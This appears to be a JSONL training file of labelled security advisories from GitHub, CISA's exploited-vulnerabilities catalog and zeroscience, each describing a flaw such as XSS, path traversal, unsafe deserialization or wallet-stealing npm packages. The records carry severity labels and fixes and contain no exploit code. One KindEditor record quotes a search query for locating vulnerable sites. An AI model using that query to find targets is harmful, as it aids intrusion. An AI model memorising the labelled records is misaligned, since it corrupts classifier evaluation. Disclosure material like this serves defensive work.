-{"id": "0fb460314b06b1f9659b", "text": "VMware ESXi OpenSLP Use-After-Free Vulnerability\n\nAffected: VMware ESXi\n\nVMware ESXi OpenSLP contains a use-after-free vulnerability that allows an attacker residing in the management network with access to port 427 to perform remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "VMware ESXi OpenSLP Use-After-Free Vulnerability\n\nAffected: VMware ESXi\n\nVMware ESXi OpenSLP contains a use-after-free vulnerability that allows an attacker residing in the management network with access to port 427 to perform remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "19bfb742f6082e4a4d26", "text": "## Test breaking\n\n### Impact\nIn v1.2.0, tests are broken: all tests are always succeeding. If tests are looking for security vulnerabilities, these were compromised.\n\n### Patches\nUsers should upgrade to `v1.2.1`\n\n### Workarounds\nUsers who don't use eye.js for looking for vulnerabilities are safe. Upgrading will just fix some bugs.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [EyeJS](https://github.com/arguiot/EyeJS)\n* Email us at [arguiot@gmail.com](mailto:arguiot@gmail.com)", "text_raw": "Low severity vulnerability that affects eye.js\n\n[Severity: LOW]\n\n## Test breaking\n\n### Impact\nIn v1.2.0, tests are broken: all tests are always succeeding. If tests are looking for security vulnerabilities, these were compromised.\n\n### Patches\nUsers should upgrade to `v1.2.1`\n\n### Workarounds\nUsers who don't use eye.js for looking for vulnerabilities are safe. Upgrading will just fix some bugs.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [EyeJS](https://github.com/arguiot/EyeJS)\n* Email us at [arguiot@gmail.com](mailto:arguiot@gmail.com)\n\n", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-10-07", "split": "train"}
-{"id": "9299f7c14115e47e2347", "text": "Deserialization vulnerability exists in parso\n\n** DISPUTED ** A deserialization vulnerability exists in the way parso through 0.4.0 handles grammar parsing from the cache. Cache loading relies on pickle and, provided that an evil pickle can be written to a cache grammar file and that its parsing can be triggered, this flaw leads to Arbitrary Code Execution.  NOTE: This is disputed because \"the cache directory is not under control of the attacker in any common configuration.\"", "text_raw": "Deserialization vulnerability exists in parso\n\n[Severity: HIGH]\n\n** DISPUTED ** A deserialization vulnerability exists in the way parso through 0.4.0 handles grammar parsing from the cache. Cache loading relies on pickle and, provided that an evil pickle can be written to a cache grammar file and that its parsing can be triggered, this flaw leads to Arbitrary Code Execution.  NOTE: This is disputed because \"the cache directory is not under control of the attacker in any common configuration.\"", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "7752e093aba4e9667d47", "text": "Downloads Resources over HTTP in windows-latestchromedriver\n\nAffected versions of `windows-latestchromedriver` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `windows-latestchromedriver`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in windows-latestchromedriver\n\n[Severity: HIGH]\n\nAffected versions of `windows-latestchromedriver` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `windows-latestchromedriver`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "4d87001d7df9ae3bd345", "text": "Malicious Package in b5ffer-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in b5ffer-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "9c33316add70f99209d8", "text": "Jetty vulnerable to exposure of sensitive information to unauthenticated remote users\n\nThe exception handling code in Eclipse Jetty prior to 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header, aka JetLeak.", "text_raw": "Jetty vulnerable to exposure of sensitive information to unauthenticated remote users\n\n[Severity: HIGH]\n\nThe exception handling code in Eclipse Jetty prior to 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header, aka JetLeak.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "b205f9588d7308c96d4b", "text": "Cross-site Scripting in OpenCRX\n\nIn OpenCRX, versions v4.0.0 through v5.1.0 are vulnerable to reflected Cross-site Scripting (XSS), due to unsanitized parameters in the password reset functionality. This allows execution of external javascript files on any user of the openCRX instance.", "text_raw": "Cross-site Scripting in OpenCRX\n\n[Severity: MEDIUM]\n\nIn OpenCRX, versions v4.0.0 through v5.1.0 are vulnerable to reflected Cross-site Scripting (XSS), due to unsanitized parameters in the password reset functionality. This allows execution of external javascript files on any user of the openCRX instance.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-30", "split": "train"}
-{"id": "6c325804376de04c3e6c", "text": "Prototype Pollution in cached-path-relative\n\nVersion of `cached-path-relative` before 1.0.2 are vulnerable to prototype pollution.\n\n## Recommendation\n\nUpdate to version 1.0.2 or later.", "text_raw": "Prototype Pollution in cached-path-relative\n\n[Severity: HIGH]\n\nVersion of `cached-path-relative` before 1.0.2 are vulnerable to prototype pollution.\n\n\n## Recommendation\n\nUpdate to version 1.0.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-07", "split": "train"}
-{"id": "40fa59213adf99b9c94f", "text": "Improper Verification of Cryptographic Signature in aws-encryption-sdk-javascript\n\n### Impact\n\nThis ESDK supports a streaming mode where callers may stream the plaintext of signed messages before the ECDSA signature is validated. In addition to these signatures, the ESDK uses AES-GCM encryption and all plaintext is verified before being released to a caller. There is no impact on the integrity of the ciphertext or decrypted plaintext, however some callers may rely on the the ECDSA signature for non-repudiation. Without validating the ECDSA signature, an actor with trusted KMS permissions to decrypt a message may also be able to encrypt messages. This update introduces a new API for callers who wish to stream only unsigned messages.\n\nFor customers who process ESDK messages from untrusted sources, this update also introduces a new configuration to limit the number of Encrypted Data Keys (EDKs) that the ESDK will attempt to process per message. This configuration provides customers with a way to limit the number of AWS KMS Decrypt API calls that the ESDK will make per message. This setting will reject messages with more EDKs than the configured limit.\n\nFinally, this update adds early rejection of invalid messages with certain invalid combinations of algorithm suite and header data.\n\n### Patches\n\nFixed in versions 1.9 and 2.2. We recommend that all users upgrade to address these issues.\n\nCustomers leveraging the ESDK’s streaming features have several options to protect signature validation. One is to ensure that client code reads to the end of the stream before using released plaintext. With this release, using the new API for streaming and falling back to the non-streaming decrypt API for signed messages prevents using any plaintext from signed data before the signature is validated. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\nUsers processing ESDK messages from untrusted sources should use the new maximum encrypted data keys parameter. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\n### Workarounds\n\nNone\n\n### For more information\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/concepts.html#digital-sigs\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x", "text_raw": "Improper Verification of Cryptographic Signature in aws-encryption-sdk-javascript \n\n[Severity: MEDIUM]\n\n### Impact\n\nThis advisory addresses several LOW severity issues with streaming signed messages and restricting processing of certain types of invalid messages. \n\nThis ESDK supports a streaming mode where callers may stream the plaintext of signed messages before the ECDSA signature is validated. In addition to these signatures, the ESDK uses AES-GCM encryption and all plaintext is verified before being released to a caller. There is no impact on the integrity of the ciphertext or decrypted plaintext, however some callers may rely on the the ECDSA signature for non-repudiation. Without validating the ECDSA signature, an actor with trusted KMS permissions to decrypt a message may also be able to encrypt messages. This update introduces a new API for callers who wish to stream only unsigned messages. \n\nFor customers who process ESDK messages from untrusted sources, this update also introduces a new configuration to limit the number of Encrypted Data Keys (EDKs) that the ESDK will attempt to process per message. This configuration provides customers with a way to limit the number of AWS KMS Decrypt API calls that the ESDK will make per message. This setting will reject messages with more EDKs than the configured limit.\n\nFinally, this update adds early rejection of invalid messages with certain invalid combinations of algorithm suite and header data.\n\n### Patches\n\nFixed in versions 1.9 and 2.2. We recommend that all users upgrade to address these issues.\n\nCustomers leveraging the ESDK’s streaming features have several options to protect signature validation. One is to ensure that client code reads to the end of the stream before using released plaintext. With this release, using the new API for streaming and falling back to the non-streaming decrypt API for signed messages prevents using any plaintext from signed data before the signature is validated. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\nUsers processing ESDK messages from untrusted sources should use the new maximum encrypted data keys parameter. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\n### Workarounds\n\nNone\n\n### For more information\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/concepts.html#digital-sigs\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-01", "split": "train"}
-{"id": "19ac2cedd921e2770847", "text": "Cross-site Scripting in Joplin\n\nJoplin through 1.0.184 allows Arbitrary File Read via Cross-site Scripting (XSS).", "text_raw": "Cross-site Scripting in Joplin\n\n[Severity: MEDIUM]\n\nJoplin through 1.0.184 allows Arbitrary File Read via Cross-site Scripting (XSS).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-13", "split": "train"}
-{"id": "b0a1a0e87b38c4f8d198", "text": "Fortinet FortiOS SSL VPN Path Traversal Vulnerability\n\nAffected: Fortinet FortiOS\n\nFortinet FortiOS SSL VPN web portal contains a path traversal vulnerability that may allow an unauthenticated attacker to download FortiOS system files through specially crafted HTTP resource requests.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Fortinet FortiOS SSL VPN Path Traversal Vulnerability\n\nAffected: Fortinet FortiOS\n\nFortinet FortiOS SSL VPN web portal contains a path traversal vulnerability that may allow an unauthenticated attacker to download FortiOS system files through specially crafted HTTP resource requests.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "6663e5771b75ba7b42c7", "text": "Flock Social Web Browser 1.2.5 (loop) Remote Denial of Service Exploit", "text_raw": "Flock Social Web Browser 1.2.5 (loop) Remote Denial of Service Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2008-09-06", "split": "train"}
-{"id": "0cf69d5c322b7fdadc68", "text": "Malicious Package in bitcoin-osp\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bitcoin-osp\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "a2f408603f2d09ca5e78", "text": "Deserialization of Untrusted Data in swagger-codegen\n\nA vulnerability in Swagger-Parser's version <= 1.0.30 and Swagger codegen version <= 2.2.2 yaml parsing functionality results in arbitrary code being executed when a maliciously crafted yaml Open-API specification is parsed. This in particular, affects the 'generate' and 'validate' command in swagger-codegen (<= 2.2.2) and can lead to arbitrary code being executed when these commands are used on a well-crafted yaml specification.", "text_raw": "Deserialization of Untrusted Data in swagger-codegen\n\n[Severity: HIGH]\n\nA vulnerability in Swagger-Parser's version <= 1.0.30 and Swagger codegen version <= 2.2.2 yaml parsing functionality results in arbitrary code being executed when a maliciously crafted yaml Open-API specification is parsed. This in particular, affects the 'generate' and 'validate' command in swagger-codegen (<= 2.2.2) and can lead to arbitrary code being executed when these commands are used on a well-crafted yaml specification.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "01e7a6b9d3c767bb0d0a", "text": "Cross site scripting in kindeditor\n\nCross SIte Scripting (XSS) vulnerability exists in KindEditor 4.1.x via a Google search inurl:/examples/uploadbutton.html and then the .html file on the website that uses this editor (the file suffix is allowed).", "text_raw": "Cross site scripting in kindeditor\n\n[Severity: MEDIUM]\n\nCross SIte Scripting (XSS) vulnerability exists in KindEditor 4.1.x via a Google search inurl:/examples/uploadbutton.html and then the .html file on the website that uses this editor (the file suffix is allowed).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-18", "split": "train"}
-{"id": "59c7e31b71118888962a", "text": "libsbmlsim downloads Resources over HTTP\n\nAffected versions of `libsbmlsim` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `libsbmlsim`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "libsbmlsim downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `libsbmlsim` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `libsbmlsim`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "b7a9a1d3df375c77cd74", "text": "Improper Input Validation in PyYAML\n\nA vulnerability was discovered in the PyYAML library in versions before 5.3.1, where it is susceptible to arbitrary code execution when it processes untrusted YAML files through the full_load method or with the FullLoader loader. Applications that use the library to process untrusted input may be vulnerable to this flaw. An attacker could use this flaw to execute arbitrary code on the system by abusing the python/object/new constructor.", "text_raw": "Improper Input Validation in PyYAML\n\n[Severity: CRITICAL]\n\nA vulnerability was discovered in the PyYAML library in versions before 5.3.1, where it is susceptible to arbitrary code execution when it processes untrusted YAML files through the full_load method or with the FullLoader loader. Applications that use the library to process untrusted input may be vulnerable to this flaw. An attacker could use this flaw to execute arbitrary code on the system by abusing the python/object/new constructor.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "091f20192f5392ce487d", "text": "Risk of code injection\n\n### Impact\nSome routes use `eval` or `Function constructor`, which may be injected by the target site with unsafe code, causing server-side security issues\n\n### Patches\nTemporarily removed the problematic route and added a `no-new-func` rule to eslint\nSelf-built users should upgrade to 7f1c430 and later as soon as possible\n\n### Credits\nTencent Woodpecker Security Team\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [https://github.com/DIYgod/RSSHub/issues](https://github.com/DIYgod/RSSHub/issues)\n* Email us at [i@diygod.me](mailto:i@diygod.me)", "text_raw": "Risk of code injection\n\n[Severity: HIGH]\n\n### Impact\nSome routes use `eval` or `Function constructor`, which may be injected by the target site with unsafe code, causing server-side security issues\n\n### Patches\nTemporarily removed the problematic route and added a `no-new-func` rule to eslint\nSelf-built users should upgrade to 7f1c430 and later as soon as possible\n\n### Credits\nTencent Woodpecker Security Team\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [https://github.com/DIYgod/RSSHub/issues](https://github.com/DIYgod/RSSHub/issues)\n* Email us at [i@diygod.me](mailto:i@diygod.me)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "bbf7e370d2a8dc9b39cf", "text": "Potentially sensitive data exposure in Symfony Web Socket Bundle\n\n### Impact\nInside `Gos\\Bundle\\WebSocketBundle\\Server\\App\\Dispatcher\\TopicDispatcher::onPublish()`, messages are arbitrarily broadcasted to the related Topic if `Gos\\Bundle\\WebSocketBundle\\Server\\App\\Dispatcher\\TopicDispatcher::dispatch()` does not succeed.  The `dispatch()` method can be considered to not succeed if (depending on the version of the bundle) the callback defined on a topic route is misconfigured, a `Gos\\Bundle\\WebSocketBundle\\Topic\\TopicInterface` implementation is not found for the callback, a topic which also implements `Gos\\Bundle\\WebSocketBundle\\Topic\\SecuredTopicInterface` rejects the connection, or an Exception is unhandled.  This can result in an unintended broadcast to the websocket server potentially with data that should be considered sensitive.\n\n### Patches\nIn 1.10.4, 2.6.1, and 3.3.0, `Gos\\Bundle\\WebSocketBundle\\Server\\App\\Dispatcher\\TopicDispatcher::onPublish()` has been changed to no longer broadcast an event's data if `Gos\\Bundle\\WebSocketBundle\\Server\\App\\Dispatcher\\TopicDispatcher::dispatch()` fails.\n\n### Workarounds\nUpgrade to 1.10.4, 2.6.1, and 3.3.0\n\nNote, the 1.x branch is considered end of support as of July 1, 2020.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repository](https://github.com/GeniusesOfSymfony/WebSocketBundle)", "text_raw": "Potentially sensitive data exposure in Symfony Web Socket Bundle\n\n[Severity: MEDIUM]\n\n### Impact\nInside `Gos\\Bundle\\WebSocketBundle\\Server\\App\\Dispatcher\\TopicDispatcher::onPublish()`, messages are arbitrarily broadcasted to the related Topic if `Gos\\Bundle\\WebSocketBundle\\Server\\App\\Dispatcher\\TopicDispatcher::dispatch()` does not succeed.  The `dispatch()` method can be considered to not succeed if (depending on the version of the bundle) the callback defined on a topic route is misconfigured, a `Gos\\Bundle\\WebSocketBundle\\Topic\\TopicInterface` implementation is not found for the callback, a topic which also implements `Gos\\Bundle\\WebSocketBundle\\Topic\\SecuredTopicInterface` rejects the connection, or an Exception is unhandled.  This can result in an unintended broadcast to the websocket server potentially with data that should be considered sensitive.\n\n### Patches\nIn 1.10.4, 2.6.1, and 3.3.0, `Gos\\Bundle\\WebSocketBundle\\Server\\App\\Dispatcher\\TopicDispatcher::onPublish()` has been changed to no longer broadcast an event's data if `Gos\\Bundle\\WebSocketBundle\\Server\\App\\Dispatcher\\TopicDispatcher::dispatch()` fails.\n\n### Workarounds\nUpgrade to 1.10.4, 2.6.1, and 3.3.0\n\nNote, the 1.x branch is considered end of support as of July 1, 2020.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repository](https://github.com/GeniusesOfSymfony/WebSocketBundle)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-07", "split": "train"}
-{"id": "4172cbe16fc3f5e1dcae", "text": "PyKMIP Denial of service vulnerability\n\nOpenKMIP PyKMIP version All versions before 0.8.0 contains a CWE 399: Resource Management Errors (similar issue to CVE-2015-5262) vulnerability in PyKMIP server that can result in DOS: the server can be made unavailable by one or more clients opening all of the available sockets. This attack appear to be exploitable via A client or clients open sockets with the server and then never close them. This vulnerability appears to have been fixed in 0.8.0.", "text_raw": "PyKMIP Denial of service vulnerability\n\n[Severity: HIGH]\n\nOpenKMIP PyKMIP version All versions before 0.8.0 contains a CWE 399: Resource Management Errors (similar issue to CVE-2015-5262) vulnerability in PyKMIP server that can result in DOS: the server can be made unavailable by one or more clients opening all of the available sockets. This attack appear to be exploitable via A client or clients open sockets with the server and then never close them. This vulnerability appears to have been fixed in 0.8.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "f1533b43afe789528cee", "text": "Fake objects feature vulnerability allowing to execute JavaScript code using malformed HTML.\n\n### Affected packages\nThe vulnerability has been discovered in [Fake Objects](https://ckeditor.com/cke4/addon/fakeobjects) plugin. All plugins with [Fake Objects](https://ckeditor.com/cke4/addon/fakeobjects) plugin dependency are affected:\n\n* [Fake Objects](https://ckeditor.com/cke4/addon/fakeobjects)\n* [Link](https://ckeditor.com/cke4/addon/link)\n* [Flash](https://ckeditor.com/cke4/addon/flash)\n* [Iframe](https://ckeditor.com/cke4/addon/iframe)\n* [Forms](https://ckeditor.com/cke4/addon/forms)\n* [Page Break](https://ckeditor.com/cke4/addon/pagebreak)\n\n### Impact\nA potential vulnerability has been discovered in CKEditor 4 [Fake Objects](https://ckeditor.com/cke4/addon/fakeobjects) package. The vulnerability allowed to inject malformed Fake Objects HTML, which could result in executing JavaScript code. It affects all users using the CKEditor 4 plugins listed above at version < 4.16.2.\n\n### Patches\nThe problem has been recognized and patched. The fix will be available in version 4.16.2.\n\n### For more information\nEmail us at security@cksource.com if you have any questions or comments about this advisory.\n\n### Acknowledgements\nThe CKEditor 4 team would like to thank Mika Kulmala ([kulmik](https://github.com/kulmik)) for recognizing and reporting this vulnerability.", "text_raw": "Fake objects feature vulnerability allowing to execute JavaScript code using malformed HTML.\n\n[Severity: HIGH]\n\n### Affected packages\nThe vulnerability has been discovered in [Fake Objects](https://ckeditor.com/cke4/addon/fakeobjects) plugin. All plugins with [Fake Objects](https://ckeditor.com/cke4/addon/fakeobjects) plugin dependency are affected:\n\n* [Fake Objects](https://ckeditor.com/cke4/addon/fakeobjects)\n* [Link](https://ckeditor.com/cke4/addon/link)\n* [Flash](https://ckeditor.com/cke4/addon/flash)\n* [Iframe](https://ckeditor.com/cke4/addon/iframe)\n* [Forms](https://ckeditor.com/cke4/addon/forms)\n* [Page Break](https://ckeditor.com/cke4/addon/pagebreak)\n\n### Impact\nA potential vulnerability has been discovered in CKEditor 4 [Fake Objects](https://ckeditor.com/cke4/addon/fakeobjects) package. The vulnerability allowed to inject malformed Fake Objects HTML, which could result in executing JavaScript code. It affects all users using the CKEditor 4 plugins listed above at version < 4.16.2.\n\n### Patches\nThe problem has been recognized and patched. The fix will be available in version 4.16.2.\n\n### For more information\nEmail us at security@cksource.com if you have any questions or comments about this advisory.\n\n### Acknowledgements\nThe CKEditor 4 team would like to thank Mika Kulmala ([kulmik](https://github.com/kulmik)) for recognizing and reporting this vulnerability.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-23", "split": "train"}
-{"id": "5de7376036a03d2922ac", "text": "Archive package allows chmod of file outside of unpack target directory\n\n## Impact\n\nA bug was found in containerd where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host’s filesystem.  Changes to file permissions can deny access to the expected owner of the file, widen access to others, or set extended bits like setuid, setgid, and sticky.  This bug does not directly allow files to be read, modified, or executed without an additional cooperating process.\n\n## Patches\n\nThis bug has been fixed in containerd 1.5.4 and 1.4.8.  Users should update to these versions as soon as they are released.  Running containers do not need to be restarted.\n\n## Workarounds\n\nEnsure you only pull images from trusted sources.\n\nLinux security modules (LSMs) like SELinux and AppArmor can limit the files potentially affected by this bug through policies and profiles that prevent containerd from interacting with unexpected files.\n\n## For more information\n\nIf you have any questions or comments about this advisory:\n\n* [Open an issue](https://github.com/containerd/containerd/issues/new/choose)\n* Email us at security@containerd.io if you think you’ve found a security bug.", "text_raw": "Archive package allows chmod of file outside of unpack target directory\n\n[Severity: MEDIUM]\n\n## Impact\n\nA bug was found in containerd where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host’s filesystem.  Changes to file permissions can deny access to the expected owner of the file, widen access to others, or set extended bits like setuid, setgid, and sticky.  This bug does not directly allow files to be read, modified, or executed without an additional cooperating process.\n\n## Patches\n\nThis bug has been fixed in containerd 1.5.4 and 1.4.8.  Users should update to these versions as soon as they are released.  Running containers do not need to be restarted.\n\n## Workarounds\n\nEnsure you only pull images from trusted sources.\n\nLinux security modules (LSMs) like SELinux and AppArmor can limit the files potentially affected by this bug through policies and profiles that prevent containerd from interacting with unexpected files.\n\n## For more information\n\nIf you have any questions or comments about this advisory:\n\n* [Open an issue](https://github.com/containerd/containerd/issues/new/choose)\n* Email us at security@containerd.io if you think you’ve found a security bug.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-26", "split": "train"}
-{"id": "18b5e49f9b84bcc980e9", "text": "Malicious Package in jc-sha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in jc-sha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "60fb5d00a9d4a22c1419", "text": "Information disclosure in Apache Superset\n\nAn information disclosure issue was found in Apache Superset 0.34.0, 0.34.1, 0.35.0, and 0.35.1. Authenticated Apache Superset users are able to retrieve other users' information, including hashed passwords, by accessing an unused and undocumented API endpoint on Apache Superset.", "text_raw": "Information disclosure in Apache Superset\n\n[Severity: MEDIUM]\n\nAn information disclosure issue was found in Apache Superset 0.34.0, 0.34.1, 0.35.0, and 0.35.1. Authenticated Apache Superset users are able to retrieve other users' information, including hashed passwords, by accessing an unused and undocumented API endpoint on Apache Superset.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-26", "split": "train"}
-{"id": "58876ac3dfe4c3e863f5", "text": "RSA-PSS signature validation vulnerability by prepending zeros in jsrsasign\n\n### Impact\nJsrsasign can verify RSA-PSS signature which value can expressed as BigInteger. When there is a valid RSA-PSS signature value, this vulnerability is also accept value with prepending zeros as a valid signature.\n\n- If you are not use RSA-PSS signature validation, this vulnerability is not affected. \n- Risk to accept a forged or crafted message to be signed is low.\n- Risk to raise memory corruption is low since jsrsasign uses BigInteger class.\n\n### Patches\nUsers using RSA-PSS signature validation should upgrade to 8.0.17.\n\n### Workarounds\nReject RSA-PSS signatures with unnecessary prepending zeros.\n\n### References\nhttps://github.com/kjur/jsrsasign/security/advisories/GHSA-q3gh-5r98-j4h3\n[https://github.com/kjur/jsrsasign/issues/438](https://github.com/kjur/jsrsasign/issues/438)\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-14968\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14968\nhttps://vuldb.com/?id.157125\nhttps://kjur.github.io/jsrsasign/api/symbols/RSAKey.html#.verifyWithMessageHashPSS", "text_raw": "RSA-PSS signature validation vulnerability by prepending zeros in jsrsasign\n\n[Severity: CRITICAL]\n\n### Impact\nJsrsasign can verify RSA-PSS signature which value can expressed as BigInteger. When there is a valid RSA-PSS signature value, this vulnerability is also accept value with prepending zeros as a valid signature.\n\n- If you are not use RSA-PSS signature validation, this vulnerability is not affected. \n- Risk to accept a forged or crafted message to be signed is low.\n- Risk to raise memory corruption is low since jsrsasign uses BigInteger class.\n\n### Patches\nUsers using RSA-PSS signature validation should upgrade to 8.0.17.\n\n### Workarounds\nReject RSA-PSS signatures with unnecessary prepending zeros.\n\n### References\nhttps://github.com/kjur/jsrsasign/security/advisories/GHSA-q3gh-5r98-j4h3\n[https://github.com/kjur/jsrsasign/issues/438](https://github.com/kjur/jsrsasign/issues/438)\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-14968\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14968\nhttps://vuldb.com/?id.157125\nhttps://kjur.github.io/jsrsasign/api/symbols/RSAKey.html#.verifyWithMessageHashPSS\n\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-06-26", "split": "train"}
